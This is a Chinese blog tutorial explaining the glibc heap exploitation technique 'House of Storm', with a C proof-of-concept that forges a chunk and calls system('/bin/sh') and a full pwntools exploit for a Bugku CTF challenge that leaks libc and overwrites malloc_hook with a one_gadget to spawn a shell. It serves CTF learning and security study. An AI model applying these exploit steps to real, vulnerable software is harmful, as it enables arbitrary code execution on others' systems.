草庐IT

堆Pwn:House Of Storm利用手法

tolele 2023-03-28 原文

0x00:介绍

利用手法的背景:

house of storm是一种结合了unsorted bin attack和Largebin attack的攻击技术,其基本原理和Largebin attack类似。但不同的是,Largebin attack只可以在任意地址写入堆地址,而house of storm 则可以导致任意地址分配chunk,也就是说可以造成任意地址写的后果,危害性大。不过,house of storm 虽然危害大,但其利用条件也是十分苛刻的。

该利用手法适用于glibc 2.28及以下的版本,因为unsorted bin attack在glibc 2.29中已失效。

 

利用条件:

1. 需要unsorted bin中的bk指针可控;

2. 需要largebin中的bk指针和bk_nextsize指针可控;

3. 需要在largebin和unsorted bin中分别布置一个chunk,同时需要这两个chunk在归为之后处于同一个largebin的index中,且unsorted中的chunk要比largebin中大;

 

 前置了解:

需要了解unsorted bin attack和Largebin attack攻击手法。

下面会先大概介绍一下这两种攻击手法,并说明如何叠加变成house of storm。

 

 0x01:前置的利用手法

Unsorted Bin Attack:

该攻击手法可以达到任意地址写一个libc地址(即unsorted_chunks(av))的效果。unsorted bin attack发生在malloc时,对unsorted bin 中的chunk脱链时刻。图中的文字注明已经很清楚了,只要将unsorted bin的末尾chunk的修改为target - 0x10处,则在chunk脱链后,前后chunk进行fd/bk互连的过程中,会将target处赋值为一个libc地址。

但大家往往只关注到了target处被赋值了,其实unsorted_chunks(av) → bk同时也被赋值为了target - 0x10。

注意,在libc2.29中,这部分加入了双链表检查。这表明从libc2.29开始,unsorted bin attack手法就无法使用了。

 

 Largebin Attack:

该利用手法的本质和unsorted bin attack一样,都是基于双链表互连过程中发生的。不过由于在large bin中,有靠fd/bk相连的双链表和靠fd_nextsize/bk_nextsize相连的双链表,所以可以对任意两处的地址进行赋值,赋值为堆地址(victim,从unsorted bin中脱链出来的chunk)。

2.23 ~ 2.29版本中largebin attack的利用点,在2.30及以后的版本中,这里加入了双链表检测,所以在libc2.30及以后,该处的largebin attack无法使用了。

 

 

 Buffer叠加:

这里说一下unsorted bin attack和largebin attack如何叠加,变成house of storm,达到任意地址分配chunk的效果。

在unsorted bin中的chunk脱链,然后链接到large bin的过程中,可以同时进行这两种攻击。为之,所以我们需要在large bin中布置一个chunk,并且在unsorted bin中布置一个size稍大于largebin的chunk,使其能够链接在large bin中chunk的后面。

house of storm中,unsorted bin attack主要用到的是unsorted_chunks(av) → bk同时也被赋值为了fake(只是一个记号)。在下次申请chunk,使其进入unsorted bin的分支时,victim = unsorted_chunks(av) → bk(即fake),紧接着会有一个分支检查其size是否满足申请。只要满足了,则会直接分配fake处为chunk返回。现在,我们的关键点就是如何使用largebin attack使得其size发生稳定的改变。

我们已经知道largebin attack是向任意地址赋值堆地址。在64字长的系统中,地址寻址为8字节,但堆地址只占5个字节,而特别的是仅已0x55或0x56开头。那么只要我们通过largebin attack向fake + 0x3处,赋值一个堆地址,则以fake为chunk的size处为0x55或者0x56。这样,就成功的修改了size。

注意小端序的问题:

 

 

 0x02:Demo示例

// gcc -ggdb -fpie -pie house_of_storm.c -o house_of_storm
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
    char chunk_head[0x10];
    char content[0x10];
}fake;

int main(void)
{
    unsigned long *large_bin,*unsorted_bin;
    unsigned long *fake_chunk;
    char *ptr;

    unsorted_bin=malloc(0x418);
    malloc(0X18);
    large_bin=malloc(0x408);
    malloc(0x18);

    free(large_bin);
    free(unsorted_bin);
    unsorted_bin=malloc(0x418);
    free(unsorted_bin);

    fake_chunk=((unsigned long)fake.content)-0x10;
    unsorted_bin[0]=0;
    unsorted_bin[1]=(unsigned long)fake_chunk;

    large_bin[0]=0;
    large_bin[1]=(unsigned long)fake_chunk+8;
    large_bin[2]=0;
    large_bin[3]=(unsigned long)fake_chunk-0x18-5;

    ptr=malloc(0x48);
    strncpy(ptr, "/bin/sh", 0x48 - 1);
    system(fake.content);
}

该代码展示的最终目标是分配chunk到fake_chunk。

代码16~19行,分配了两个large bin范围的chunk,并隔开。稍大的chunk后面会被调(tiao)到unsorted bin中,稍小的chunk会被free到large bin中。

代码21~24行,先将两个chunk free到unsorted bin中(头插法,先进先出)。然后malloc稍大的那个chunk使稍小的chunk进入large bin中,最后再次free掉稍大的chunk,使其进入unsorted bin。这样就满足的第三个条件。

后面就是对bk和bk_nextsize指针进行操控:

//代码26 ~ 33
 
    fake_chunk=((unsigned long)fake.content)-0x10;
//unsorted_bin->bk = fake_chunk
//则fake_chunk->fd = unsorted_chunks(av),不过似乎没有发挥使用
//重点是:unsorted_chunks(av)->bk = fake_chunk
    unsorted_bin[0]=0;
    unsorted_bin[1]=(unsigned long)fake_chunk;

    large_bin[0]=0;
    large_bin[1]=(unsigned long)fake_chunk+8;
    large_bin[2]=0;
//(fake_chunk-0x18-5)->fd_nextsize = victim(a heap_addr)
//即fake_chunk-0x18-5+0x20 = fake_chunk+3 = victim
    large_bin[3]=(unsigned long)fake_chunk-0x18-5;

/*其实,largebin attack部分这样也可以:
*    large_bin[0]=0;
*   large_bin[1]=(unsigned long)fake_chunk-0x8-5;
*   large_bin[2]=0;
*   large_bin[3]=(unsigned long)fake_chunk-0x8;
*因为有两处可以修改任意地址
*/

malloc(0x48):申请0x50大小的chunk,chunk中size为0x55/0x56的大小也会被归为0x50这一级别。malloc(0x48)这一过程中,把unsorted_bin脱链,并链接到了large bin中。

 

 

 这里需要size为0x56才能分配chunk成功,0x55是会发生报错的。其原因是因为从_int_malloc返回到_libc_malloc后,还会有个断言对chunk进行检查:

/*
    #define arena_for_chunk(ptr) \
        (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
    
    过以下检测需要满足的要求,只需满足一条即可
    1. victim 为 0
    2. IS_MMAPPED 为 1
    3. NON_MAIN_ARENA 为 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) 
       || ar_ptr == arena_for_chunk(mem2chunk(victim)));

0x56:0101 0110,满足第二个。

0x55:0101 0101,不满足,会报错。

因为系统一般会开ASLR,所以0x56、0x55发生的概率差不多,crash的话,多试几次就好了。

 

 0x03:题目实践

bugku的simple_storm:

链接:https://pan.baidu.com/s/131cOS7m9gG34BKqDRWxMig 提取码:lele

静态分析程序,delete函数里面存在UAF漏洞,那就可以随便玩了。

这里使用house of storm手法,应该还有其他方法。

具体思路就不说了,和上面的示例基本一模一样,这里getshell是通过覆盖malloc_hook为one_gadget。需要注意的是选择fake_chunk位置时,size位不能有数据,要为空。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process("./simple_storm")
#io = remote("114.67.175.224", 12327)
libc = ELF("./libc-2.23.so")

def add(size):
    io.sendlineafter("Your choice?", "1")
    io.sendlineafter("Size?", str(size))

def delete(idx):
    io.sendlineafter("Your choice?", "2")
    io.sendlineafter("Index?", str(idx))

def edit(idx, content):
    io.sendlineafter("Your choice?", "3")
    io.sendlineafter("Index?", str(idx))
    io.sendlineafter("Content?", content)

def show(idx):
    io.sendlineafter("Your choice?", "4")
    io.sendlineafter("Index?", str(idx))

def debug():
    gdb.attach(io)
    pause()

add(0x400) #0
add(0x18)  #1
add(0x410) #2
add(0x18)  #3
delete(0)
show(0)
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88
libc_base = main_arena - 0x3c4b20
print("@@@ main_arena = " + str(hex(main_arena)))
print("@@@ libc_base = " + str(hex(libc_base)))

delete(2)
add(0x410) #4
delete(4)

ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
malloc_hook = main_arena - 0x10
fakechunk = malloc_hook - 0x50
edit(4, p64(0) + p64(fakechunk))
edit(0, p64(0) + p64(fakechunk + 0x8) + p64(0) + p64(fakechunk-0x18-5))
add(0x48) #5
edit(5, p64(ogg[1] + libc_base)*9)
add(0x20)
io.interactive()

 

本文参考:

https://www.anquanke.com/post/id/203096

https://www.cnblogs.com/Rookle/p/13140339.html


tolele

2022-09-25

 

有关堆Pwn:House Of Storm利用手法的更多相关文章

  1. iOS快捷指令:执行Python脚本(利用iSH Shell) - 2

    文章目录前言核心逻辑配置iSH安装Python创建Python脚本配置启动文件测试效果快捷指令前言iOS快捷指令所能做的操作极为有限。假如快捷指令能运行Python程序,那么可操作空间就瞬间变大了。iSH是一款免费的iOS软件,它模拟了一个类似Linux的命令行解释器。我们将在iSH中运行Python程序,然后在快捷指令中获取Python程序的输出。核心逻辑我们用一个“获取当前日期”的Python程序作为演示(其实快捷指令中本身存在“获取当前日期”的操作,因而此需求可以不用Python,这里仅仅为了演示方便),核心代码如下。>>>importtime>>>time.strftime('%Y-%

  2. ruby - Sidekiq 可以利用多个 CPU 内核吗? - 2

    我是Sidekiq的新手,将它与AmazonEC2实例上的Ruby结合使用,以使用ImageMagick处理图像来完成一些工作。在运行它时,我意识到每个工作人员都在同一个核心上运行。我使用EC2c3.2xlarge机器,它们有8个内核。它显示CPU使用率为15%,但一个内核使用了100%,而其他内核使用了0%。Sidekiq可以为不同的worker使用不同的CPU内核吗?如果可以,这种低效率是由ImageMagic造成的吗?我怎样才能让它使用其他内核? 最佳答案 如果您想使用MRI使用多个内核,则需要启动多个Sidekiq进程;为您

  3. PLUS模型和InVEST模型生态系统服务多情景模拟预测、ArcGIS空间数据处理、空间分析与制图、土地利用时空变化 - 2

    查看原文>>>基于”PLUS模型+“生态系统服务多情景模拟预测实践技术应用目录第一章、理论基础与软件讲解第二章、数据获取与制备第三章、土地利用格局模拟第四章、生态系统服务评估第五章、时空变化及驱动机制分析第六章、论文撰写技巧及案例分析基于ArcGISPro、Python、USLE、INVEST模型等多技术融合的生态系统服务构建生态安全格局基于生态系统服务(InVEST模型)的人类活动、重大工程生态成效评估、论文写作等具体应用基于ArcGISPro、R、INVEST等多技术融合下生态系统服务权衡与协同动态分析实践应用    本文从数据、方法、实践三方面对生态系统服务多情景预测进行讲解。内容涵盖多

  4. 【python学习】python实现利用pygame绘画基本图形、显示图片,实现图形图片随机效果。python绘制行列图片 - 2

    python实现利用pygame绘画基本图形、显示图片,实现图形图片随机效果。前言一、pygame是什么?二、使用步骤1.引入库2.实现绘制代码3.结果截图总结前言今天刚接触python,简单上手了一下第三方库pygame的相关函数使用。首先python是一门弱类型的编程语言,变量可以不指定具体类型直接使用。但是它对语法的缩进有严格的要求。一、pygame是什么?Pygame是一款专门为开发和设计2D电子游戏而生的软件包,它支Windows、Linux、MacOS等操作系统,具有良好的跨平台性。Pygame由PeteShinners于2000年开发而成,是一款免费、开源的的软件包。Pygame

  5. javascript - 利用源映射的堆栈跟踪 - 2

    概述:浏览器控制台中的堆栈跟踪输出与调用Error.stack时返回的跟踪不同。控制台堆栈跟踪似乎考虑了源映射,而Error.stack堆栈跟踪则没有。控制台输出这是输出到控制台的默认堆栈跟踪。UncaughtTypeError:Cannotsetproperty'y'ofundefinedsource.js:4(anonymousfunction)source.js:4(anonymousfunction)source.js:4(anonymousfunction)(index):17Error.stack输出这是来自Error.stack的堆栈跟踪:TypeError:Cannot

  6. javascript - 使用文本区域利用 jQuery HTML 解码 - 2

    跟进mylastquestion...如果攻击者可以访问encodedText,则可以利用此代码:return$('').html(encodedText).text();例如$("").html('').text()显示警报。Thisanswer建议使用textarea而是为了避免XSS漏洞:return$('').html(encodedText).text();这能够安全地处理之前的漏洞。然而,thisanswer表示使用textarea时仍然存在XSS漏洞:Isuggestusingasafer,moreoptimizedfunctiondon'tusejQuery.html(

  7. 企业软件怎样利用ChatGPT? - 2

    文/明道云创始人任向晖作为商业和科技话题的博主,不评论一下ChatGPT似乎是不应该的。毫无疑问,ChatGPT的出现已经远远超过了科技商业要闻的标准,它的革命性已经被飙速增长的用户所直接证明,以至于留给我们的问题只有两个:什么时候用?和怎么用?本文只聚焦在我所熟悉的企业软件行业,探讨这个领域如何利用ChatGPT来加强现有的商业和捕捉新的机遇。然而,即使是企业软件领域,也有很多的门类和分支。所以,我只能从抽象的角度,讲几个思考层次,再举一些可能的例子,希望对业内同仁有所启发。和过去的写作相比,这篇文章动笔之前,我甚至有一些小小的不安。因为本文的标题也可以直接去问ChatGPT,它也会给出一段

  8. 利用腾讯云函数实现和鲸社区每日自动登录 - 2

    和鲸社区算是国内比较不错的机器学习算力平台,可以通过每日登录积累成长值,每月还会给鲸币奖励,有一段时间每天都会登登陆一次,但是有时候还是会忘记。最近根据腾讯云Serverless部署云函数实现自动登录,解放双手。首先每次登陆后将进行微信推送,我采用的是pushplus平台,获取token即可。微信推送#从pushplus平台获取tokentoken='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'defsendToWechat(title,content):url='http://www.pushplus.plus/send'headers={'Content-Type

  9. RCE(远程代码执行漏洞)原理及漏洞利用 - 2

    作用RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。原理一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"

  10. QT上位机控制stm32,并利用PID控制编码电机旋转 - 2

    QT上位机控制stm32,并利用PID控制编码电机旋转          由于最近在学习电机控制算法之类的东西,看到论文大多使用PID、或以PID衍生的ADRC作为电机的主流控制,于是自己也写了一个stm32控制L298N以驱动直流电机的程序,并用QT做了一个上位机实现了用软件改变PID的参数、电机转速、转向等功能。一、硬件原理图   实验所用到的硬件有:带霍尔编码器的直流减速电机;    霍尔编码器具体型号为JGB37-520,12V供电,一分钟旋转110转(这里指的时全速运转下的转速),两端红白两线为电机的电源(0、12V),棕蓝两线为霍尔编码器的电源(0、3.3V),中间黄绿两线为霍尔编

随机推荐